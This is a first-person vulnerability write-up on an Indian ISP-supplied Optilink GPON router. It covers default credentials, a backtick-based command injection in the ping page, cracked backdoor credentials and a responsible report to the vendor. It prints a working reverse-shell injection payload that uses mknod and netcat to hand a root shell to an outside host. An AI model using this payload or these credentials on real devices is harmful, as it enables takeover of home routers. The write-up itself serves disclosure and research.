OptiLink is a company based on India that specializes in manufacturing Networking Devices. Two of the largest Internet Service Providers in this country have provided / still providing OptiLink’s ONU (Optical Network Unit) devices as a cost effective ONU device for getting Fiber to home service in India.
But, in the name of cost efficiency, what have been sacrificed? Let’s see.
We know that embedded devices have extremely tight constraints on processing power and storage space. Due to this, inclusion of features are pretty difficult in embedded devices. But, that doesn’t mean the vendors can cheap out on the security of them.
The start of the exploitation was simple. On one fine morning, I got my hands on the Optilink 91001w GPON with firmware version V2.1.11_X101.
Once I got the router, I started tinkering with the web interface. Upon initial enumeration, I have found out that the router had two sets of users. A normal user and a super user.
The default credentials were the following.
admin:admin # For unprivileged user adminisp:adminisp # For super user
The main difference between unprivileged and privileged user is that, privileged user have slightly more control over the web configuration like Ping utility, Tracert utility etc. Almost every other options were same in the web interface for both users.
I decided to start my enumeration with Nmap, and Nmap showed the following output.
PORT STATE SERVICE VERSION 21/tcp filtered ftp 23/tcp filtered telnet 53/tcp open domain dnsmasq 2.45 | dns-nsid: | id.server: MAA |_ bind.version: dnsmasq-2.45 80/tcp open tcpwrapped | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: Boa/0.93.15 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.24 (workgroup: WORKGROUP)
There was an FTP server and a Telnet service running, along with the Webserver and Netbios.
I’ve tried to login to FTP and Telnet via CLI, but for some reason I couldn’t login to them via the correct credentials.
I’ve then decided to move my focus to the web server since it had a Ping utility and since Nmap found the server version as boa server.
Boa server is an ancient webserver, mainly used in embedded devices like routers back in the 2000’s. However, boa server has already stopped it’s development back in 2005! Even though Boa server is dead 16 years ago, it still lives to this day thanks to our vendor.
So, the first thing I did was to searchsploit the boa server version and this was the result.
But these exploits weren’t working with our target. I guess they’ve already patched the publicly available vulnerabilities. Good for them!
Since these publicly available vulnerabilities seemed to have patched, I’ve decided to move on to the Ping utility located at
Notice the asp extension of the page? That actually left me confused about the OS the router is running, as there are no windows based routers in my knowledge.
So, I’ve decided to ping a target using the Ping utility in the router’s web interface.
The output of ping looked like the following.
The output looks just like the output from the *nix ping utility. So, now I’m sure that the backend OS is some flavor of linux.
So, I started the usual command injection techniques using payloads like
&&whoami etc. But, all of them have failed or have made the page waiting at the following output.
However, I’ve noticed that whenever the Ping function fails, it doesn’t show us any output or waits for the ping to complete; instead it straight up throws the error.
That made me suspect the presence of a blacklist in place. The blacklist must be used to filter out the special characters like semicolons, ampersands etc. So, I decided to check for other ways to execute bash commands, without using semicolon or ampersands.
That’s when I found the backtick (`) symbol, that can be used to execute shell commands from here.
So, I tried the back ticks with shell commands. This time the ping was successful, but without the output of the
whoami command I tried to execute.
However, this doesn’t mean that our command is not getting executed. So, to verify that my payload is indeed working, I used the following payload into the ping utility to ping my machine.
18.104.22.168`ping -c -4 192.168.1.5`
And before I clicked the ping button, I issued the following command in my machine to listen for any pings and clicked the ping button in the router’s web interface.
sudo tcpdump -i eth0 icmp
And sure enough, I was getting the ping back! That means the command injection was working!
But, I didn’t had any interactivity in the shell, as the shell seemed to die as soon as I enter a command.
That was heartbreaking!
New Breakthrough and gaining an intertactive shell
So I’ve tried all the other possible payloads: Bash oneliner, Nc with -e and so on. But, none of them worked.
My only shot at this point was to try to tweak the Netcat OpenBSD payload and get an interactive reverse shell that way.
If that didn’t work, then I had to rely on other measures like prying open the router and try to get root shell via UART. But that’s too cumbersome, and time/money consuming process. And I desperately needed a quick win (also I was lazy).
So, I’ve started tinkering with the payload and at one point, I was able to print out the errors from the commands I input into the first reverse shell, on another reverse shell.
That’s when I’ve understood that it might be an issue with the
mkfifo command, as nc without -e payload creates a fifo file named
/tmp directory, and uses this fifo file to make two way communication possible.
So, chances are
mkfifo binary is not present in the router and now my challenge was to make my reverse shell interactive without using
I then began to look around the extracted contents from the router firmware and found a binary named
busybox in it.
I now have information about the shell the router uses. BusyBox.
BusyBox is a single executable binary, that replaces basic functions of more than 300 common commands. It was specifically created to be used in embedded appliances with limited hardware specifications.
I ran the
busybox binary and searched for
mkfifo was absent in busybox; confirming my suspicion.
N.B: Extracting the firmware file and running the binaries in it is a modereately big and different topic. So, to stay on the topic, I won’t be discussing about that in this post. I’ll try to write another post about that.
Upon further research, I have found some common commands that are included in BusyBox from here.
Among them, one particular name caught my eye.
What is mknod? Explainshell to the rescue!
According to explain shell,
mknod is used to make block or character special files. It’s functionality sounds similar to
The Linux manual website explained that mknod can create several filetypes, including fifo!
I researched further and found out a blog, which mentioned that we can create fifo file using the following command.
mknod f p
The above command will create a fifo file named
So, I modified the Netcat OpenBSD payload with this
mknod command, which makes our final payload as shown below.
22.214.171.124`rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f`
Have you ever felt like when a solution is so stupid, that it is not going to work; but to our astonishment it worked wonderfully? For me, this was that moment.
I have searched in popular reverse shell payload sites/repos like PaylodAllTheThings for this particular payload with
mknod, but none of them had the payload with
So, what I had here probably was a small but significant breakthrough!
*pats on the back*
I’ve added this payload to PayloadAllTheThings repo, for future researchers who might be stuck without
As of now, I had full control over the router. I just looked around the file system and found several juicy information.
So, my next step was to automate this step using a PoC script.
And that’s when I’ve found out that, to pull of this attack, we need to be an authenticated user and we require the WAN interface name. That doesn’t seem too dangerous afterall, right?
Not so fast. As I’ve mentioned earlier, firmware
V2.1.11_X101 had two users. A normal unprivileged user and a super user. The vulnerability is at
/boaform/admin/formPing page and that page only checks if there is a valid user session or not. It doesn’t checks if the user is authorized to sent Ping data or not.
Which means that a low priv user can gain root shell on the user. Another scary aspect is that, this router’s web interface is HTTP; not HTTPS. Which means that a local user in the network can sniff the credentials to the router and gain root shell on the router.
I’ve reported this vulnerability to the vendor ASAP and they advised me to fix the vulnerability by upgrading the firmware of the user to their latest firmware V2.1.13_X101_OP; which I did.
Oh and by the way, their upgrade process is a joke. The vendor doesn’t share the firmware to the public. Instead, if the customer want to upgrade their router to the latest firmware, they had to contact the vendor directly, and their tech support will arrange a remote session to upgrade the router.
I now know why they refuse to share their firmware to the public. They don’t want the public to find out how pathetic of a software is their routers running currently.
Up untill this point, this was an authenticated RCE vulnerability. But, I was not satisfied yet. Writing a PoC for authenticated RCE seemed lame. The question I had in mind was, can I find an unauthenticated RCE?
Upgrading Authenticated RCE to Unauthenticated RCE
For finding an unauthenticated RCE, my noobie hacker brain had two ideas.
- Find a new BoF vulnerability
- Find some backdoor credentials and upgrade the Authenticated RCE to an Unauthenticated one.
Now, finding a BoF vulnerability seems easy on the paper. But, it is very difficult to find because running
gdbserver directly on the router is not possible because of the resource limitations and we have to emulate the firmware first.
Also, C-DATA have been caught before for leaving backdoor credentials in their devices. And since Optilink is just a rebrand of C-DATA, the chance of finding backdoor credentials are pretty high.
So, I’ve decided to take the easier route first. i.e, to hunt for backdoor credentials.
And I’ve found some password files to the
boaserver pretty easily in the
It contained a the credentials in a
username:hash format. However, it was an unknown hash format.
Disappointed, I decided to check the
/etc/passwd file, to check the hash (There was no
shadow file in the router) and there was the same user entries with the same password, but in MD5 Crypt hash! (Hashcat Mode 500)
I cracked the hash and found the backdoor credentials. There were two credentials.
Since these are hardcoded credentials to the router, I can use either of them to upgrade my finding to an unauthenticated RCE! And I did just that!
I’ve submitted the PoC script to Exploit-DB and they’ve published my exploit! 😇
The key takeaway from this experience for me is that always ensure that our tech will have good technical support and will provide timely updates. Although the tech support of Optilink were friendly, courteous and fixed the issue as soon as they could, the company’s update policy must be changed and they must provide the firmware available to public.
Peace out! ✌️